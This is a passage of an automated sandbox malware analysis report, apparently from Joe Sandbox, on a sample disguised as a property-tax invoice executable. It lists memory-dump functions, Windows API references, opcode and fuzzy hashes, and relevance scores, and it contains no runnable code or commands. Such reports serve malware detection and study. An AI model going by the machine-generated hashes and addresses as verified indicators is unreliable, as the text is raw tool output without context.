Function 00D1E0C9 Relevance: 1.6, APIs: 1, Instructions: 51threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 00D1E132

Memory Dump Source

Source File: 00000004.00000002.516826477.0000000000D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d10000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 0a52bd86e73c6f7d2d77ba901a4a50b95fcc4cd6cd792f55c375b02126c562a9
Instruction ID: 29c8d3d9a23cae6038d835b9b6b0541ffd0a4930cf06ae98fc86594f628ea0e2
Opcode Fuzzy Hash: 0a52bd86e73c6f7d2d77ba901a4a50b95fcc4cd6cd792f55c375b02126c562a9
Instruction Fuzzy Hash: A51158B1D003488BDB10DFAAD4457EEFBF5EB88324F148419D919A7340DB799945CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00D1E0D0 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 00D1E132

Memory Dump Source

Source File: 00000004.00000002.516826477.0000000000D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d10000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 4f3d337873391fb4a0161e798371746168984133e56e5d50a25710bfd4799aa6
Instruction ID: da234530ca8ec2be522b40b8307b72cec1e887e3423d3a74c0a86ae6c8b8ce6c
Opcode Fuzzy Hash: 4f3d337873391fb4a0161e798371746168984133e56e5d50a25710bfd4799aa6
Instruction Fuzzy Hash: 411125B1D003488BDB10DFAAC4457EEFBF5AB88324F148819D919A7240DB79A984CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00D1A144 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 00D1CC87

Memory Dump Source

Source File: 00000004.00000002.516826477.0000000000D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d10000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: f2e611ebd82cee8331ff34bc4e33a24416ccfdef17e7d6914b839ad3e3d34060
Instruction ID: 19e8d3cb86bc34e98aac2fdbfe60f3388edc7d94c6bdb066a0c85004a4170bc5
Opcode Fuzzy Hash: f2e611ebd82cee8331ff34bc4e33a24416ccfdef17e7d6914b839ad3e3d34060
Instruction Fuzzy Hash: F61103B19002489FDB20DF9AD445BDEBBF4EB48324F14845AD519B7240D775A984CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00D1CC20 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 00D1CC87

Memory Dump Source

Source File: 00000004.00000002.516826477.0000000000D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d10000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: a88006ae67d5db20b37417fe275b4de847b30fba532cf1e4622f24b78988bdeb
Instruction ID: 96b8ec70b4e2fec166ab7a88d21752e6f509cfabe501618605719566736b720c
Opcode Fuzzy Hash: a88006ae67d5db20b37417fe275b4de847b30fba532cf1e4622f24b78988bdeb
Instruction Fuzzy Hash: BC1115B5D002488FCB20CF9AD485BDEBBF4EB48324F14845AD528A7340D775A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00D195D8 Relevance: .4, Instructions: 397COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.516826477.0000000000D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d10000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c625be54ec7a870778fa9e7f88aa92e56a9cc6e85f76ce96a9e0b195f410bc06
Instruction ID: cbb1a911e4adb9ba946a771b26b5cecddbe5e9ae654bc0e35ed267635a225cb5
Opcode Fuzzy Hash: c625be54ec7a870778fa9e7f88aa92e56a9cc6e85f76ce96a9e0b195f410bc06
Instruction Fuzzy Hash: A7020175A00218EFDB15CFA9D990E9DBBB2FF49304F1580A9E509AB232DB31D991DF10

Uniqueness

Uniqueness Score: -1.00%

Function 00D195C9 Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.516826477.0000000000D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d10000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de95ef74d1487916b92fd3c21acc2bf71963ee8e558148158f6f35ca8a0e56cf
Instruction ID: a62dbd87f5dc7096f3852f7e54ff72879bd7374b4dcc8a2524ef4a5861bc4a5e
Opcode Fuzzy Hash: de95ef74d1487916b92fd3c21acc2bf71963ee8e558148158f6f35ca8a0e56cf
Instruction Fuzzy Hash: 8F51C675E052189FDB18CFAAD950ACDFBB6FF89300F14D1AAD409AB255EB305A85CF10

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: P90GT_Invoice_Related_Property_Tax_P800.exePID: 6716, Parent PID: 6632COMMON

Execution Graph

Execution Coverage:	9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	18
Total number of Limit Nodes:	0

Executed Functions

Function 02BE68F8 Relevance: 1.2, Instructions: 1229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.356824565.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2be0000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7315178baa4bc19d78bf9028c6c431ab3d47ce3b1d7205fe4d337fb5c7f4df63
Instruction ID: 511f116c87d9c36ef9c433cf02f520be2590220257e7af295e217f066da50731
Opcode Fuzzy Hash: 7315178baa4bc19d78bf9028c6c431ab3d47ce3b1d7205fe4d337fb5c7f4df63
Instruction Fuzzy Hash: 2B92C130B042199FCF28ABB4D86562E77E7EBC8204F258479E916DB395DF70CC4687A1

Uniqueness

Uniqueness Score: -1.00%

Function 02BEBE80 Relevance: .6, Instructions: 598
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.356824565.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2be0000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7caaa84898d5bc05c82dacae481d34a7126f7f38753948fe87f221a8a4deda3c
Instruction ID: c31e8db4f4f0768d085476da44f74b1e3e6663babd702542f6c8c18cf9280a1f
Opcode Fuzzy Hash: 7caaa84898d5bc05c82dacae481d34a7126f7f38753948fe87f221a8a4deda3c
Instruction Fuzzy Hash: 7422DF34B002449FCB19EB34D859A2EBBE6EF85214F1584AAE816DB392DF34DC45C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 02BE21D8 Relevance: .3, Instructions: 349COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.356824565.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2be0000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f3b5a92b62299a37698a76a121028b8c860bb6f78cc1580f1b614cb64c35691
Instruction ID: 5263529ddfd826bcd3db4700377d6000804600e967ecd60540d9c6eb16bd8f0d
Opcode Fuzzy Hash: 2f3b5a92b62299a37698a76a121028b8c860bb6f78cc1580f1b614cb64c35691
Instruction Fuzzy Hash: 84C1C235B002049FCB14EB74C854AAE7BBAEF89304F1580B9E916DB365EB30DD45CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02BE1D98 Relevance: .3, Instructions: 339COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.356824565.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2be0000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc346487789c7b1aa799798ce862efc058258b684154c7b98714ea467a95eaec
Instruction ID: d7736064218e0348f11e3ab41331eb233499b9834790e8e346c6082e2b042624
Opcode Fuzzy Hash: fc346487789c7b1aa799798ce862efc058258b684154c7b98714ea467a95eaec
Instruction Fuzzy Hash: DBD12B34A01205DFCB14DF69D594AAEB7F2FF88314B6584A9E80ADB351DB30ED41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 02BED3C8 Relevance: 1.7, Strings: 1, Instructions: 411
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

pF8k, xrefs: 02BED5A2

Memory Dump Source

Source File: 00000006.00000002.356824565.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2be0000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID: pF8k
API String ID: 0-4086532825
Opcode ID: 20bae70ecdf8db449629df7f6221a3f0303d4fe8f5902928d7fc7aae9c7caa13
Instruction ID: 688cc9feb003977fb38b24971fdf38d692fd4df26ecf041c40bfc9817facbf87
Opcode Fuzzy Hash: 20bae70ecdf8db449629df7f6221a3f0303d4fe8f5902928d7fc7aae9c7caa13
Instruction Fuzzy Hash: 0AE1ED30B002419FCF29AB78945976E7BE6EB85218F1884B9D81ADB385DF70DC45CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00E908E0 Relevance: 1.5, APIs: 1, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleWindow.KERNEL32 ref: 00E90947

Memory Dump Source

Source File: 00000006.00000002.356408053.0000000000E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e90000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID: ConsoleWindow
String ID:
API String ID: 2863861424-0
Opcode ID: 30da094b5f569acd47f7031af284753bcc5683f25711aa628bf9c87cf26a74a6
Instruction ID: b2a81b5fa092ed8acd3a02162c3516c45df44c497efb5608a5f215e8f8f2487c
Opcode Fuzzy Hash: 30da094b5f569acd47f7031af284753bcc5683f25711aa628bf9c87cf26a74a6
Instruction Fuzzy Hash: C6115871D042498FCB20DFAAC4457EEBBF0AF88328F14891AC529A7280D7795944CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00E908E8 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleWindow.KERNEL32 ref: 00E90947

Memory Dump Source

Source File: 00000006.00000002.356408053.0000000000E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e90000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID: ConsoleWindow
String ID:
API String ID: 2863861424-0
Opcode ID: bf77e0af8c182501430fc35fd854093207a31f40335c94c25583099659e055ac
Instruction ID: 964141b0e6738b758a0e5e28cbe676f7b9b629dd4538380b732d1e85acb3a4f4
Opcode Fuzzy Hash: bf77e0af8c182501430fc35fd854093207a31f40335c94c25583099659e055ac
Instruction Fuzzy Hash: 3F113671D002498FCB20DFAAC4457EEBBF5AB88228F14881AC519A7240DB79A944CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02BECDD3 Relevance: .4, Instructions: 353COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.356824565.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2be0000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a359e210ca632f0f18e8209d53cd74810c31380ca383fbf81c6c808d65b1588a
Instruction ID: 114173869cbb60aac75c81d1b153f4b753b9ae33107689691763617a1b115e08
Opcode Fuzzy Hash: a359e210ca632f0f18e8209d53cd74810c31380ca383fbf81c6c808d65b1588a
Instruction Fuzzy Hash: 4DE12D30A00209CFDF14EFA4D498AADBBB6EF44304F1585A9E416AF3A5DB75AC46CF50

Uniqueness

Uniqueness Score: -1.00%

Function 02BEF150 Relevance: .3, Instructions: 297COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.356824565.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2be0000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e6be8de9b5ec542c193802db084ebb990a76be23eb9c8b715513f9f866a7006
Instruction ID: fc1d3b6149bebb0ec19203ea67b0654ee1e706f84863e376efce7bdad9984159
Opcode Fuzzy Hash: 5e6be8de9b5ec542c193802db084ebb990a76be23eb9c8b715513f9f866a7006
Instruction Fuzzy Hash: DCA1AB35B046158BCF28DF69D494B7DB7A2FF84214B1580A9E84ADBB91DB31EC41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02BE8170 Relevance: .2, Instructions: 235COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.356824565.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2be0000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2383edb8f50fb64353394ef17caafdd6df0f0019900f0c1c0df3cd8dee41fcc5
Instruction ID: 619658f632aad3796084897733ed32abc4a8f797693efc4de7db9f20c7dfeec4
Opcode Fuzzy Hash: 2383edb8f50fb64353394ef17caafdd6df0f0019900f0c1c0df3cd8dee41fcc5
Instruction Fuzzy Hash: 71817130B005089FCB18EBB4D4557AEB7B6EB85308F1585B9D51AEB394DB30DD418BA1

Uniqueness

Uniqueness Score: -1.00%

Function 0509F538 Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.361402233.0000000005090000.00000040.00000800.00020000.00000000.sdmp, Offset: 05090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5090000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f41c86f576363e26705887c1f53829f941ddad8077f7ba8b4c46b0f11aab0fa
Instruction ID: 7dc7867d87edf68db324062cb7235c6e02a6a3ec43d491f210432f19fbce8691
Opcode Fuzzy Hash: 8f41c86f576363e26705887c1f53829f941ddad8077f7ba8b4c46b0f11aab0fa
Instruction Fuzzy Hash: 89815B387042068FDB49DF28D594AAEBBE6FF88305F158069E906CB3A5DB34DC41DB90

Uniqueness

Uniqueness Score: -1.00%

Function 02BE67DD Relevance: .2, Instructions: 215COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.356824565.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2be0000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea3d2754646663cd91c05f6924104b49c0c4a6c5678ca3c0dcab5e6363c6b366
Instruction ID: 529b206acf4eea4e6cc33e04161440e4d7adb06ff8cf4400210522ab2412a895
Opcode Fuzzy Hash: ea3d2754646663cd91c05f6924104b49c0c4a6c5678ca3c0dcab5e6363c6b366
Instruction Fuzzy Hash: 8671AC36E082498FCB01AB78EC617ED7B72EF85224F0441A6D551EB3D2DF349941CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0509F800 Relevance: .2, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.361402233.0000000005090000.00000040.00000800.00020000.00000000.sdmp, Offset: 05090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5090000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21f69155364acd6e097d8e95e6419817e01d9cd53384b9a3247fde6f0fd27982
Instruction ID: db3c23237f5cd8ab9eae06c586e59a27d75bc2cc60ea809288b2191b39db446c
Opcode Fuzzy Hash: 21f69155364acd6e097d8e95e6419817e01d9cd53384b9a3247fde6f0fd27982
Instruction Fuzzy Hash: 31812834A0420A9FDF19DBA8D554BAEBBF2BF48304F158469E805EB3A5DB349D40DB60

Uniqueness

Uniqueness Score: -1.00%

Function 02BE1D88 Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.356824565.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2be0000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0b5cb8727cee024f9dd4eeae7a4cde3d4e6436c6ec2239ce50343c77c85f35d
Instruction ID: 1f7345244c1df8c60715a576eeae34d9860485b27de0b27ff172bf06afea0846
Opcode Fuzzy Hash: d0b5cb8727cee024f9dd4eeae7a4cde3d4e6436c6ec2239ce50343c77c85f35d
Instruction Fuzzy Hash: E2717B34B01205DFCB18DF68D494AAEBBF2EF88305B6584A9E806DB351DB31ED45CB51

Uniqueness

Uniqueness Score: -1.00%

Function 02BECC00 Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.356824565.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2be0000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32a9f379f2cf2542e7156385ab93f184e4e50f780802cd75fd5f7c7331286a4b
Instruction ID: 3b7c9ef6cdd17d8d133b41e702f000bd88400ee07c15c9255c75426f6c6124c6
Opcode Fuzzy Hash: 32a9f379f2cf2542e7156385ab93f184e4e50f780802cd75fd5f7c7331286a4b
Instruction Fuzzy Hash: 9F81E674A00249DFDB14DFA8D498AADBFF5EB48304F1481AAE806EB3A5DB709C45CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0509E8DA Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.361402233.0000000005090000.00000040.00000800.00020000.00000000.sdmp, Offset: 05090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5090000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f63d9bded629d50925c4063c16d6d4db57891cd332ba216f9383eadeeecf5cbb
Instruction ID: 8dfcb72f18e140c061fdce115f42e1fb15968c35832d76ab5c7f18372dca86ee
Opcode Fuzzy Hash: f63d9bded629d50925c4063c16d6d4db57891cd332ba216f9383eadeeecf5cbb
Instruction Fuzzy Hash: 9A712934E10209CFCB04DFA8D58999DBBB6FF88315B158559E806AB3A5DB70ED46CF80

Uniqueness

Uniqueness Score: -1.00%

Function 0509E8E8 Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.361402233.0000000005090000.00000040.00000800.00020000.00000000.sdmp, Offset: 05090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5090000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8b678f765b5b43dcb1d1a6deb72c69c9ea249babe83d2190cb8ba1fecaefd04
Instruction ID: 8772abe9848176adffb6d676c87c6570230b5ef4c0e803870000a8b488388466
Opcode Fuzzy Hash: b8b678f765b5b43dcb1d1a6deb72c69c9ea249babe83d2190cb8ba1fecaefd04
Instruction Fuzzy Hash: 81712A34A10208CFCB04DFA8D59899DBBB6FF88314F158559E806AB365DB70ED46CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0509EB38 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.361402233.0000000005090000.00000040.00000800.00020000.00000000.sdmp, Offset: 05090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5090000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 078e49bbc1e1633da0f4c0798ede113d6e87f2dee246255ff9e30414d3e0171c
Instruction ID: 9da144aa333a494de17301f7036cd5dea8a24f1d7329251b26185d8420f6ca51
Opcode Fuzzy Hash: 078e49bbc1e1633da0f4c0798ede113d6e87f2dee246255ff9e30414d3e0171c
Instruction Fuzzy Hash: 7951DB707042089FCF19EB38D854ABE37B6EF85204B544468E806DB3A5EB38DC42CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 02BE4B50 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.356824565.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2be0000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6433ec86d01e4669291403273a92cf258288292f8fe349b32c90fdf959caddd7
Instruction ID: 23c341ec48d7f36b3692a4850e2e58c10a72fd2d0bf8a9e98f930ffeef6497b6
Opcode Fuzzy Hash: 6433ec86d01e4669291403273a92cf258288292f8fe349b32c90fdf959caddd7
Instruction Fuzzy Hash: D6515D34B002449FDB68DB69D058B6D7BF2EF89314F1940A8E816DB394DB35DC81CB60

Uniqueness

Uniqueness Score: -1.00%

Function 02BE4AB0 Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.356824565.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2be0000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1932939bbef76d2b9e2e4bd4d9963a3f72d2232641c3fa9d958594da5b08864e
Instruction ID: 10499a9b7f6488d59cfe207194a295743c2b58fcba81723032c61abf2998dee6
Opcode Fuzzy Hash: 1932939bbef76d2b9e2e4bd4d9963a3f72d2232641c3fa9d958594da5b08864e
Instruction Fuzzy Hash: 3E518034A042489FDB18CB69D458BAE7BF1EF49314F1941A8E816EB3A1DB34DD85CB60

Uniqueness

Uniqueness Score: -1.00%

Function 02BEA370 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.356824565.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2be0000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f69eec4c37a907705c91e7fa3bd94dae2e7a9edf3b11969f9ed9b7819840550c
Instruction ID: b001c930e0657361109f1b17ab11a3a4f6adee6686360a94940b70c18bcf739f
Opcode Fuzzy Hash: f69eec4c37a907705c91e7fa3bd94dae2e7a9edf3b11969f9ed9b7819840550c
Instruction Fuzzy Hash: 5541A4757042548FCB15DB29D458B2AB7F9EF8536471981BAE91ACB340DB31EC41C760

Uniqueness

Uniqueness Score: -1.00%

Function 02BE3930 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.356824565.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2be0000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13da86cde9602fbd0415eba4b25304c019fb0c097890f95533f2c273defe0a32
Instruction ID: 6d571bb338503f75b8b37a3a3fbf8dc3e7fd8fc6e56c552bf3337d49cc90ab67
Opcode Fuzzy Hash: 13da86cde9602fbd0415eba4b25304c019fb0c097890f95533f2c273defe0a32
Instruction Fuzzy Hash: 6741F431B042499FCF04EF35D4856AE7BA2EF81304F15C4AAD50ADB391EB31AD46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 02BEA900 Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.356824565.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2be0000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5df051f278145ac73508852cb8f50fb77da854d845867ec0b3a07bae380e88ac
Instruction ID: add37fc2080b2d81ea08390250fb9e23eeea89d2c8ea77e869d899fa2cd1f235
Opcode Fuzzy Hash: 5df051f278145ac73508852cb8f50fb77da854d845867ec0b3a07bae380e88ac
Instruction Fuzzy Hash: 26516934B00604CFCB18DF24E99992EBBF2EF88201B148169E416D7361EF34DD06CB65

Uniqueness

Uniqueness Score: -1.00%

Function 02BECBF0 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.356824565.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2be0000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f92a296cb3a00f64f859da8bc5fcd432f6d32681913018166cfb1609993f7036
Instruction ID: 9f1c956f6e7457ab832f6ad80f491b718f9ad02e61e00491b0827b25f3c24088
Opcode Fuzzy Hash: f92a296cb3a00f64f859da8bc5fcd432f6d32681913018166cfb1609993f7036
Instruction Fuzzy Hash: 33510974A00208CFDB14DFA4D999AADBFF1FF88304F148559D406AB3A5DB309C45CB54

Uniqueness

Uniqueness Score: -1.00%

Function 02BEED70 Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.356824565.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2be0000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dedb9ae3bd61d99f2d08715014df7ed0d922867d284cfffdf72d0749592bc4ff
Instruction ID: bd5f9d5a7128ee0631e843bd43c4b60aa632db84405fca36879841b609c6839b
Opcode Fuzzy Hash: dedb9ae3bd61d99f2d08715014df7ed0d922867d284cfffdf72d0749592bc4ff
Instruction Fuzzy Hash: DF411074A00219CFCB14EF64D495A6EBBB2FF88310F148558E90697395DF35ED42CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 02BE5F80 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.356824565.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2be0000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3d0d18378d7f5037ec6b8d16bab6675c607ca40e1fc3f6cbec28fe33c0185e9
Instruction ID: d1aca5b779b4b727ea37db1c8cd7f6232d2d6f4143c52d4476254a984b5a5d8f
Opcode Fuzzy Hash: b3d0d18378d7f5037ec6b8d16bab6675c607ca40e1fc3f6cbec28fe33c0185e9
Instruction Fuzzy Hash: D141FE34B002549FDB28AB74941972E3BB2EB81308F1044BAE826D77C1EF70CD44CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 02BE5DF0 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.356824565.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2be0000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40676495e01d34cdd636e44a136150ed8c3ef97234acfc1fbdac6366a6db72fd
Instruction ID: 3c8d29acddb85b77c00a64cf06adcf6d1e4144e8879c49fc0121db46338fe8f5
